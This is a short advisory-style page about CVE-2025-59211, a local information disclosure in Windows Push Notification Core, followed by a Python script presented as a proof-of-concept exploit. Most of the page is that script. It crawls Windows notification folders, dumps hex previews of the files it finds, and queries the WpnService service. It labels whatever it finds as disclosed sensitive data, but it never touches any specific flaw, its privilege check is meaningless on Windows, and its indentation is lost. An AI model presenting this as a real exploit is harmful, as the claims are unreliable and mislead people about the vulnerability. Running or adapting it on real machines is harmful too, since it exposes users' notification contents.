Exposure of sensitive information to an unauthorized actor in Windows Push Notification Core allows an authorized attacker to disclose information locally.
The following code is for security research and authorized testing only.
python
# CVE-2025-59211 - Windows Push Notification Core Information Disclosure
# Vulnerability Type: Local Information Disclosure (CWE-200)
# CVSS: 5.5 (MEDIUM) - AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
#
# This is a conceptual PoC demonstrating the exploitation of an information
# disclosure vulnerability in Windows Push Notification Core.
# The vulnerability allows a low-privileged local user to access sensitive
# information that should be restricted.
import os
import sys
import subprocess
import ctypes
from ctypes import wintypes
# Check if running with at least low privileges
def check_privileges():
try:
return os.getuid() != 0 if hasattr(os, 'getuid') else True
except Exception:
return True
# Attempt to access Windows Push Notification Core sensitive data
# The vulnerable component may expose notification data through
# named pipes, shared memory, or accessible file paths
def exploit_wnp_info_disclosure():
"""
Exploit Windows Push Notification Core information disclosure.
The WPN Core service may store sensitive notification data in
locations accessible to low-privileged users.
"""
sensitive_paths = [
os.path.expandvars(r'%LOCALAPPDATA%\Microsoft\Windows\Notifications'),
os.path.expandvars(r'%PROGRAMDATA%\Microsoft\Windows\Notifications'),
os.path.expandvars(r'%LOCALAPPDATA%\Microsoft\Windows\PushNotificationCore'),
]
disclosed_data = []
for path in sensitive_paths:
try:
if os.path.exists(path):
for root, dirs, files in os.walk(path):
for f in files:
filepath = os.path.join(root, f)
try:
with open(filepath, 'rb') as fh:
content = fh.read(4096)
if content:
disclosed_data.append({
'path': filepath,
'size': os.path.getsize(filepath),
'preview': content[:64].hex()
})
except PermissionError:
pass
except Exception as e:
print(f"[!] Error accessing {path}: {e}")
return disclosed_data
# Attempt to query WPN Core service via SCM
def query_wnp_service():
"""Query Windows Push Notification Core service configuration."""
try:
result = subprocess.run(
['sc', 'query', 'WpnService'],
capture_output=True, text=True
)
return result.stdout
except Exception:
return None
if __name__ == "__main__":
print("[*] CVE-2025-59211 - WPN Core Info Disclosure PoC")
print(f"[*] Privileges: {'Low (exploitable)' if check_privileges() else 'Elevated'}")
# Query service status
svc_info = query_wnp_service()
if svc_info:
print(f"[*] WPN Service Status:\n{svc_info}")
# Attempt information disclosure
data = exploit_wnp_info_disclosure()
if data:
print(f"[+] Disclosed {len(data)} sensitive items:")
for item in data[:10]:
print(f" - {item['path']} ({item['size']} bytes)")
else:
print("[-] No accessible sensitive data found (system may be patched)")